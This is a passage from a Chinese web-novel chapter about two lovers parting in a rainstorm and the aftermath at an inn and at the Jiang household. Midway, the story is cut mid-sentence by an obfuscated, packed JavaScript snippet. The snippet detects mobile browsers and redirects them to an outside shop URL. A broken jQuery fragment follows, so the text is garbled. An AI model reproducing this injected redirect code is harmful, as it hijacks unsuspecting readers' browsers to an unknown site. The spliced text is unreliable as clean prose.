26. 心碎暴雨中
    可未至唇上,他便犹豫了,松开她,声音透着沙哑,“明日再说吧。”

    谢晴岚望着他决然而去的身影,泪水盈盈欲落,猛然转身奔回了屋内。

    翌日,连续的晴日后终是下了一场暴雨,如泼如洒,伴着狂风连门窗都开不得,蓝花楹随雨水噼里啪啦打落在地,裹着泥水蹂躏得不成样子。

    阴暗的角落,江风影整个身子瘫在藤椅中,随风而来的雨水浸湿了他的衣衫,他呆滞地望着窗外,来回思量到底要不要将蓝罗刹的事说出,如今下了这般大雨,心中倒是宁静了几分。

    忽地雨中闪过一个身影,狼狈不堪,他的心跟着动了动,起身相迎。

    “下这么大的雨,你怎么来了?”

    眼前的女子即便打了伞也浑身湿透,脚上满是泥泞。

    “你今日迟迟不来,可知我心中不安,你想躲,有些事是躲得了的吗?我来,是想问清楚,你到底有何话同我说?”

    江风影取来一件干衣披裹在她肩上,“我……身不由已,天晴了你便走吧。”

    阴沉的天色忽地一亮,一道惊雷响彻。

    谢晴岚的心猛地一颤。

    这是……

    要与她诀别么……

    眼眶蓦地红了,手中的油纸伞不自觉地落了下去,雨水随着伞的震动弹跳而出,碎成了细小的水晶珠子。

    他不久前才说过不放过她,要她呆在身边哪都不能去,可如今轻飘飘地一句又让她离开……

    之前的浓情蜜意,生死相依到底算是什么!……

    “江——风影——”她的手颤了起来,无法再面对这个曾经给她美好憧憬的男人。眨了眨眼试图刷清眼前的模糊,敛住欲落的泪水,可泪水就是不争气地接连落下,如窗外的雨一般。

    泪刃打在江风影的心上好似穿碎一般疼痛,他伸手想要安慰,却心狠地将手撤了回来,在身后攥得指尖青紫。

    谢晴岚稳住声,“你在报复我,对不对,那日我如此决绝对你,所以今日得到了报应。”

    江风影黯然不语,撤开目光。

    谢晴岚拭去泪,故作潇洒地说道:“好,我走……”可望着江风影闪躲的眼神,他竟连一个解释都没有,心中的苦涩与委屈再也压不下去,哭泣着嚷道:“……我走!”转身狂奔进雨里。

    她取了剑,匆忙收拾了包袱奔出江宅,雨似利刃一般砸向她的身体,冰冷的雨水顺着她的发稍流入体内,寒了她的心。

    该去何处?……

    她瘫跪在地,心没了方向……

    身后有人撑伞为她遮住了一片天,她心存侥幸地回眸望去,却是李雁无,她也背着包袱,说道:“说好了我们相伴,你却把我抛下。”

    谢晴岚转身抱住李雁无的腿,颤抖地哭道:“对不起,雁无姐姐。”

    “没关系,反正我赖着你了。”

    李雁无扶起她,“走吧,往后我们姐妹二人相依为命。”

    “嗯。”谢晴岚点点头。

    远处角落中,江风影默默望着渐行渐远的身影,雨水顺着他红染的眼眶淌下,眸中暗沉得无一丝光亮。

    “少主。”云深自身后撑伞赶来。

    江风影转身,回望一眼直至身影消失不见,随着云深恍恍惚惚地离去。

    雨依旧下个不停,漫长得仿佛下了一辈子,云深与青幂在堂中远远望着在雨中发狂舞剑的江风影。

    云深抱臂,不解道:“少主这是给自己找罪受呢,真是不懂他。”

    青幂叹了口气,“唉,本以为少主抱得美人归,结果又被他气走,幸好,我收了心,否则也会如谢姑娘那般伤心吧。”

    云深望着她,心中活泛几分,“不如……你考虑下我呗,我可比少主靠谱多了。”

    “你?……切……”青幂嗤之以鼻,转身便走。

    “欸,我怎么了?我们一个侍卫一个侍女般配的很呐。”云深扯着脖子喊道。

    “就冲你这句话,不——可能!”青幂毫不回头地撂下一句。

    江风影的发湿黏一片,一剑横扫接下雨滴。打在明晃晃的剑上,剑身仿佛映出了谢晴岚的面容,他握紧了剑,一剑拄地撑着整个快要坍塌的身子,终于忍不住放声哭泣。

    江宅的小河水漫了上来,云深与护卫开闸泄水,水渐渐平息下来。江风影湿着身子躺在床上不闻不问,眼神空洞,唇间惨白,直到青幂去看他,他不停打着哆嗦,才知他患了风寒。

    青幂欲替他换衣,江风影一把抓住她的手腕,颤抖说道:“不用你,替我准备一桶热水……一碗姜汤。”

    青幂一脸愁色,“是,少主。”

    各处的客栈因下了场急雨都已住满,李雁无寻了许久才得一个空房,搀着失魂落魄的谢晴岚对掌柜说:“劳烦为我们准备两桶热水,与一个炭盆。”

    掌柜见二人如同水中捞出,连忙答道:“好,好。”

    谢晴岚在桶中泡着,眼底无神。李雁无湿着身子坐在杌子上为她烤着被雨水浸湿的衣物。

    “阿切——“

    一个喷嚏声让她陡然清醒,赶忙拭干身子,取下屏风上烤干的衣物穿上,一边舀出木桶的水一边说道:“对不起,雁无姐姐,让你冷了这么久。”

    “无妨,我是姐姐照顾你应该的。”

    “你不要这么说。”

    少顷,谢晴岚换好干净的热水,接过李雁无手中的衣物,“雁无姐姐你快去洗洗。”

    “嗯。”李雁无微微一笑,去了屏风后。

    谢晴岚双手撑起衣衫烘烤,望着明艳艳的火光说道:“我突然想明白了,或许如明真说的,兴许就是缘散了,美好的事物只存在过去与当下,谁也不知道将来会发生什么,何必去想那么多。”

    “你能想明白就好,其实江风影应该是有苦衷吧。”

    “我没怪他让我走,只是他不给我任何解释,或许我是罪有应得,当初他想解释的时候我不听,如今连解释都没了。”

    “我突然也释怀了,这些情啊爱的真折磨人,倒不如像我这般自在一人也好。”

    “我们现在该去哪里……”谢晴岚目光呆滞,一颗火星子险些溅在衣上,还好她反应过来,眼疾手快地扑了扑。

    谢晴岚的脑海中想起张掖这个地方,是江风影与她曾许下的未来,突然一时心起,问道:“雁无姐姐,你去过张掖吗?”

    “张掖?是个人名?”

    谢晴岚摇摇头,“是个地名,江风影曾说过要带我去那里,我想去看看。”

    “行,反正我无牵无挂,去哪都行。”

    “那就这么说定了,听说那里十分有趣,可以见到其他国家的人。”

    “我看你还是忘不掉他,才想去的吧。”

    “雁无姐姐……”

    “实话跟你说吧,是他告诉我你走了,我才追上你的,你们两个啊,明明都放不下彼此,却又互相伤害,唉,真不知为何。”

    谢晴岚心中又涌过一阵酸楚,她不明白江风影,就如她当初不明白师傅那样,他们总将所有的事都藏在心里,却狠狠扎穿她的心。

    可此时她不知,江风影并不比她好过。

    铺天盖地的急雨悄悄停了,冷风依旧嗖嗖吹着

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12967626|136887||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,钻入了江风影的屋子,云深闭好窗,坐在床旁凳上揣着手,瞅着躺在床上的江风影一脸幽怨。

    “人家都是女子服侍,你这好,我一个大老爷们伺候你,当初谢晴岚没来时也没见你这般扭捏。”

    “难怪青幂看不上你……”江风影微红的唇色浮起了一抹笑。

    “什么难怪,你给我解释解释。”

    “你让你喜欢的女人伺候别的男人,你觉得她会喜欢你吗?”

    “我喜欢她,可她不喜欢我,喜欢的是你啊……”云深一不小心说漏了嘴,赶紧将嘴捂住,可话已经说出了口,收都收不回去。

    江风影的笑意陡然停下,严肃起来,“你说的是真的?”

    “呃……”云深张着嘴一副木楞样,点了点头。

    “她不可留在我身边了。”

    云深有些惊愕,忙问道:“你打算如何?”

    “给她多备些金银,让她走吧。”

    “可她说已经收住了心,而且她一人无亲无故你让她去哪?”

    “心给出去了怎会那么好收,除非你将她娶了,或是她自己选个良配,有些事早断了好。”

    “你的心可真够狠,一天赶走俩!行……我同她说。”

    云深出门没多久,青幂便哭哭啼啼地跑来江风影的房中,云深跟在她身后,捂着红肿的额头。

    青幂跪在江风影的床前,哭求道:“少主,你不要赶奴婢走,奴婢不敢有非分之想。”

    “你若不想走,便在宅中寻个人嫁了,往后我不用你伺候。”

    “青幂宁愿一辈子不嫁人,只求追随少主。”

    江风影冷笑一声,“何必骗自己呢?你走吧,我会让云深给你足够的银钱。”

    “我不要,我不要……”青幂哭得泣不成声。

    “云深带她出去。”

    云深为难地看着二人,只好一把拽着青幂将她架出了屋。

    出了门,青幂甩开他的手,“都怨你,若不是你少主怎会赶我走。”

    “是,是,是,是我不好,可你刚才一棒槌砸在我头上,就不能消消气嘛?我也是见你把感情藏在心里才失口说出的。”

    “我的事要你管了吗?如今我该怎么办?我该怎么办……”青幂蹲下抱头痛哭。

    “不如你就照少主说的,在宅中的男子中寻个良人嫁了。”

    青幂摇摇头,依旧哭着,忽地抹了抹泪,去了濯衣的小河边,捡起棒槌继续敲打着衣物。

    云深跟在身后,没好气地说道:“他都这样了,你还为他濯衣。”

    青幂一言不发,将浣好的衣物晾上。

    天公哭哭笑笑,捉摸不定,翌日陡然放晴,雨后的阳光显得特别温柔,无一丝灼热,伴着润凉的风让人身心舒畅。

    客栈的堂中,桌上摆着一屉灌汤包子,热气腾腾,谢晴岚昨日食不下咽的情绪,在今日的饥肠辘辘中早已烟消云散,伸手便夹了一个塞进嘴里,包子中的汁水在嘴里迸开,烫得人龇牙咧嘴,张口便吐了出来。

    李雁无见她孩子模样,忍不住笑,一边递给她帕子一边说道,“晴岚,你慢点……”

    一旁的掌柜皱着眉头,打量着谢晴岚,眼中好似在回想着什么,不多时走上前问道:“你可是叫谢晴岚?”

    谢晴岚茫然道:“是啊。”

    “昨日见你们急,未记录店薄,你们若还要住店便补上吧。是这样的,前日有个男人向店里打听有没有叫谢晴岚的,或是寻姑娘的吧,他说若得消息,让你去振风镖局寻他。”

    “谁会找我,还是男的?振风镖局……”